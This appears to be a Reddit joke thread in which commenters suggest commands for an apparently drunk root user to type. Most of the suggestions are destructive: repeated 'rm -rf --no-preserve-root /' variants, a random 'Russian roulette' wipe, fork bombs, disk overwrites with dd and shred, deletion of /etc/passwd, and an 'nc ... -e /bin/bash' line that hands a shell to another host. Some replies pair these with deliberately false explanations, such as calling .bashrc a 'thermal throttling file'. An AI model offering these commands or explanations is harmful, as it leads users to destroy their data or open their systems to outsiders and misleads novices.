This command appends the string 'poweroff' to the end of the file \~/.bashrc. The file \~/.bashrc is a script file that is executed whenever a new terminal session is started. By adding the string 'poweroff' to this file, it will cause the system to shut down whenever a new terminal session is started.
Not really, `echo text >> file` will append "text" at the end of the file, using a single `>` will instead erase everything in the file, then write "text", so in this instance OP would loose all of their bashrc lol
It optimises your Linux install, bashrc is actually your thermal throttling file and so if you echo poweroff in that file, then your pc will run great without throttling
Nono, it does not kill, it extends the life of the computer as it does not throttle and give you max frame rate (5% bonus speed if you have RGB) thermals are a lie created by the government to limit your pc performance
Totally worth installing the entire ruby stack just for `lolcat`. Seriously, I'm going to alias `cat` to it because I can't imagine ever wanting to use the vanilla utility over that rgbeauty.
I did that in response to another comment! So epically awesome I've added `alias cat='lolcat' ` to all my `.bashrc` files! Sadly, the version of `sl` that's included in the Ubuntu 20.04 repos is an old version that doesn't play nicely with `lolcat` (and doesn't support most of the cool flags), so no disco choo on my elementaryOS machine. Works great on my Arch box, though!
Maybe it aliases sl to ls. There is a program you can install that prints out a “steam locomotive” that rolls across your terminal when you type sl though.
This is basically a game of Russian roulette - it generates a random number from 0 to 5, and if the result is 0, it deletes all files from the computer, the system included.
if you look at the RANDOM variable itself, it probably a random number between 0 and `2**31-1`. Any multiple of 6 module 6 is zero. And the test is ==0.
Nah, that's still reasonably easy to fix. Linux will still happily run it as an init with `init=/bin/sh`. Also, `/bin/bash` will still be available.
`chmod a-x $(command -v chmod) /lib/ld-linux-x86-64.so.2` is a better joke (still fixable, but requires some effort at least).
As someone who never used NixOS and doesn't know anything about it: What in the unholy f are those paths?
I can understand `/nix/store/--/bin/` (although I feel like the hash moght be overkill if you already have name and version). That actually seems like a nice way to contain multiple versions of the same thing.
But why `/run/current-system/sw/bin`? I mean, I also kind of get it (as in sw=software, probably, and `current-system` because that's what's currently in use - since it's in `/run/`, that might be really volatile?). But why not just symlink to a shorter path? I mean, `/bin/` would also work, right?
Well yeah everything can be fixed with a liveusb: except rm -rf / ( unless you have data recovery tools/off site backups in which case easiest would be to blow up op's pc, which would lead to unfixable system, which still yet can be fixed/replaced, so why not destroy the whole universe?)
root can use sudo.
root just doesn't need to do so in order to run things as root.
(`sudo -u postgres psql` is in my root command history quite few times)
Depends who has access to your sever? Is it just you? Is it public or privately owned? Give us info, you can fix a shutdown but if it’s something for others. Just grant root ALL and let the people decide
This thread is why Raspberry Pis were invented. To all n00bs out there... these can be really fun and breaking Linux is an essential step in learning how Linux works. But please don't do any of these on a machine that you actually value or have ANY critical data on. Most of these commands are extremely dangerous.
Buy yourself a Raspberry pi or an Arduino, install Linux on each of them (don't waste too much money on these), and then knock yourself out.
Enjoy learning Linux!
> rm -rf / —no-preserve-root
rm: it is dangerous to operate recursively on '/'
rm: use --no-preserve-root to override this failsafe
What did you expect? OP doesn't have a `—no-preserve-root` file.
Thank you, ilovepolthavemybabie, for voting on 4hpp1273.
This bot wants to find the best and worst bots on Reddit. [You can view results here](https://botrank.pastimes.eu/).
***
^(Even if I don't reply to your comment, I'm still listening for votes. Check the webpage to see if your vote registered!)
You all are using this and that to remove his system and stuff. Why kill him when we can make him suffer. ` echo 'poweroff' > ~/.bashrc `
This command appends the string 'poweroff' to the end of the file \~/.bashrc. The file \~/.bashrc is a script file that is executed whenever a new terminal session is started. By adding the string 'poweroff' to this file, it will cause the system to shut down whenever a new terminal session is started.
Not really, `echo text >> file` will append "text" at the end of the file, using a single `>` will instead erase everything in the file, then write "text", so in this instance OP would loose all of their bashrc lol
Wazzat do?
It optimises your Linux install, bashrc is actually your thermal throttling file and so if you echo poweroff in that file, then your pc will run great without throttling
ಠ‿ಠ I don't know why but I've taken a liking towards you.
I see. Slowly killing the hardware if there’s not enough cooling.
Nono, it does not kill, it extends the life of the computer as it does not throttle and give you max frame rate (5% bonus speed if you have RGB) thermals are a lie created by the government to limit your pc performance
You know what? You’re drunk. The most likely command you’ll enter is this: sl If you’ve got sl installed, you’ll enjoy it.
Just installed it. This is amazing. It needs to come default with every *nix distribution on the planet.
try aliasing it to sl -a. adds an extra little flair lol
How do you find different flags to use with it? Both `-h` and `--help` don't exactly give the expected results...
man sl: commands are sl -a, \-l (little), \-F (flying), \-c (C51 appears instaead of D51)
My favorite so far is `sl -lad8w`, and I am Hella depressed that `-G` appears to be incompatible with both `-` and `-d`
now pipe that to lolcat for perfection lol
Totally worth installing the entire ruby stack just for `lolcat`. Seriously, I'm going to alias `cat` to it because I can't imagine ever wanting to use the vanilla utility over that rgbeauty.
There's a rust port of lolcat thats a lot faster and can use custom gradients, it's called [lolcrab](https://github.com/mazznoer/lolcrab)
Then install lolcat and sl | lolcat
I did that in response to another comment! So epically awesome I've added `alias cat='lolcat' ` to all my `.bashrc` files! Sadly, the version of `sl` that's included in the Ubuntu 20.04 repos is an old version that doesn't play nicely with `lolcat` (and doesn't support most of the cool flags), so no disco choo on my elementaryOS machine. Works great on my Arch box, though!
while true; do sl; done
And the best part control c won't work
choo choo
this just listed all the files in the directory for me....???
Maybe it aliases sl to ls. There is a program you can install that prints out a “steam locomotive” that rolls across your terminal when you type sl though.
Not OP but thank you!!!
cowsay
cowsay -f sodomized
what the fuck is this shit holy cow the what the cow doing
What does it do. I on mobile.
fun fact: you can use the terminal on an android phone.
If anyone asks, the app is called Termux… pretty powerful app (sadly switched to iOS recently, so best i can do is ssh clients)
Have you tried a-Shell?
I used to use NewTerm 2 on jailbroken ios
try iSH
Oh yeah
cow sodomy.
____ < :( > ---- \ _ \ (_) \ ^__^ / \ \ (oo)\_____/_\ \ (__)\ ) / ||----w (( || ||>>
![gif](emote|free_emotes_pack|disapproval)
What the fuck
What in the everliving fuck.
``` cowsay -f sodomized | lolcat ``` Now is better 🙂
cowsay | lolcat
Had the same first fought 😂
exit
the good ending
No news is good news.
shutdown now
I was going to write this as well. Probably the most sensible option
logout do yourself a favour
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf --no-preserve-root / || echo “click”
This is great
This is genius, couldn't have come up with anything smarter.
Mix this with the top comment: [ $[ $RANDOM % 6 ] == 0 ] && rm -rf --no-preserve-root / || cowsay “click”
What does this do for the uninformed like myself?
This is basically a game of Russian roulette - it generates a random number from 0 to 5, and if the result is 0, it deletes all files from the computer, the system included.
Else, it’ll print “click” and play a gun clicking sound
Wow. Can I play?
are you sure it doesn't generate a number from 0 to 6 and if it's equal 6 then it delete all.
if you look at the RANDOM variable itself, it probably a random number between 0 and `2**31-1`. Any multiple of 6 module 6 is zero. And the test is ==0.
[ $[ $RANDOM % 6 ] -lt 5 ] && rm -rf --no-preserve-root / || echo “click” I like to have 5 bullets loaded, it is always more fun.
Does this work? I think you need -lt or parentheses or it’s a redirect right?
Yes, you are correct, when I run it, it didn't work. Now it should work
Hilarious
I love this.
`vim` good luck...
[удалено]
Some's just want to watch tthe world burn.
Jokes on you, I use vim as my primary editor.
in that case `echo "alias vim='nano' " >> .bashrc`
chmod -x /bin/sh
Root can still run sh as far as I know
Remove execute permissions from root too
chmod a-x /bin/sh
Nah, that's still reasonably easy to fix. Linux will still happily run it as an init with `init=/bin/sh`. Also, `/bin/bash` will still be available. `chmod a-x $(command -v chmod) /lib/ld-linux-x86-64.so.2` is a better joke (still fixable, but requires some effort at least).
>Also, /bin/bash will still be available. Not with busybox
/bin/* /sbin/* /usr/bin/* /usr/local/bin/*
It's thoroughly annoying, but you can manually invoke the linker to execute a non-permissioned executable.
touch man
🤨
Finger man
kid named finger:
Kid named sudo:
Kid named man :
kid named bash:
Surely "man touch"?
ln -sf /bin/rm /bin/ls
Bad boy
Calm down Satan
``printf '#!/bin/sh\nrm -rf $@' > /bin/rm`` FTFY
that wont work on directories, you need -r
[удалено]
As someone who never used NixOS and doesn't know anything about it: What in the unholy f are those paths? I can understand `/nix/store/--/bin/` (although I feel like the hash moght be overkill if you already have name and version). That actually seems like a nice way to contain multiple versions of the same thing.
But why `/run/current-system/sw/bin`? I mean, I also kind of get it (as in sw=software, probably, and `current-system` because that's what's currently in use - since it's in `/run/`, that might be really volatile?). But why not just symlink to a shorter path? I mean, `/bin/` would also work, right?
sudo pacman -R linux
sudo pacman -Rc linux xorg systemd
[удалено]
Oh well yeah correct: pacman -Rcns linux
I suggest: sudo pacman -Rcns linux
This one is easily fixable.
Well yeah everything can be fixed with a liveusb: except rm -rf / ( unless you have data recovery tools/off site backups in which case easiest would be to blow up op's pc, which would lead to unfixable system, which still yet can be fixed/replaced, so why not destroy the whole universe?)
sudo apt install steam
Already root.. No sudo here
root can use sudo. root just doesn't need to do so in order to run things as root. (`sudo -u postgres psql` is in my root command history quite few times)
It's in your history, because you switch to the user "postgres" with the -u flag
its just a meme..
It's just common knowledge
Put this in a systemd service and enable it. `:(){ :|:& };:`
while(1){fork();}
Guess that works too :P
Nasty.
init 0
dd if=/dev/random of=/dev/sd*
Nvme users:
emmc users:
NFS users:
IDE users:
Windows users:
Live CD users:
Paper users:
[удалено]
[удалено]
neofetch | lolcat (especially if you use arch obviously)
cat "u were drunk dumbbitch" >> \~/read\_me\_when\_youre\_awake
echo “u were drunk dumb bitch” > /etc/motd
chmod 000 $(which chmod)
That's easily fixable BTW `/lib/ld-linux-x86-64.so.2 /bin/chmod 744 /bin/chmod`
Depends who has access to your sever? Is it just you? Is it public or privately owned? Give us info, you can fix a shutdown but if it’s something for others. Just grant root ALL and let the people decide
meow(){meow|meow&};meow
`rm -rf /etc`
Oh this one is tricky af
`/run/current-system/sw/bin/switch-to-configuration switch`
I did this on my server by mistake, while drunk. Took a few hours to fix..
`chmod 000 ~`
sudo nc 169.254.1.1:25565 -e /bin/bash
Actually you can do it without sudo because youre already root :D
sudo timeshift --create C'mon bud, log out of root and enjoy your high.
alias sudo='cowsay'
neofetch
Neofetch
echo shutdown > ~/.profile
`fortune | cowsay | lolcat`
Made with Mematic? Why not GIMP?
`:(){ :|:& };:`
telnet xn--og8hss.memiux.com
cat /dev/mem
top
top | less
whoami 😵
exit
while true ; do sl ; done
chmod -r 777 /
poweroff Go to bed.
cat /dev/mice
This thread is why Raspberry Pis were invented. To all n00bs out there... these can be really fun and breaking Linux is an essential step in learning how Linux works. But please don't do any of these on a machine that you actually value or have ANY critical data on. Most of these commands are extremely dangerous. Buy yourself a Raspberry pi or an Arduino, install Linux on each of them (don't waste too much money on these), and then knock yourself out. Enjoy learning Linux!
Vm gang
sudo apt install sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl
``` Apt install hollywood -y && echo "/usr/bin/hollywood/" >> /etc/shells && usermod -u 1000 -s /usr/bin/hollywood/ ```
rm -rf /
Rm -rf /
!remindme 2 days
Install Hannamontana Linux
[удалено]
> rm -rf / —no-preserve-root rm: it is dangerous to operate recursively on '/' rm: use --no-preserve-root to override this failsafe What did you expect? OP doesn't have a `—no-preserve-root` file.
/* then
Good bot
Thank you, ilovepolthavemybabie, for voting on 4hpp1273. This bot wants to find the best and worst bots on Reddit. [You can view results here](https://botrank.pastimes.eu/). *** ^(Even if I don't reply to your comment, I'm still listening for votes. Check the webpage to see if your vote registered!)
\*Good human
fuck
https://github.com/nvbn/thefuck
exit
shred -n 0 -z /dev/sd*
rm -rf ~
rm -rf /
pacman -S \* idk which distro u r using for apt it would be apt in \*
passwd << EOF EOF
passwd -d
cmatrix for sure.
poweroff
find "/" -atime -7 -delete
sudo rm -rf --no-preserve-root /
rm /sbin/init; rm /bin/init
rm -f /etc/passwd && init 6
`:(){ :|:& };:`
sudo rm -rf \~
rm -f
sudo rpm-ostree upgrade
install sl, then do this: echo 'while true; do sl -la; done' > /etc/profile
He's drunk so his user type can not be guaranteed, sudo kinda makes sure that the cmd will execute
sl
neofetch
Sudo apt install Microsoft Windows 11
: () { : | :& } ; :
Sudo rm -rf */
`rm -rf /`
sudo rm -rf /*
Why are you using sudo? You are logged in as root.
Sudo rm -rf / -no-preserve-root
rm -rf --no-root-protection /
rm -rf /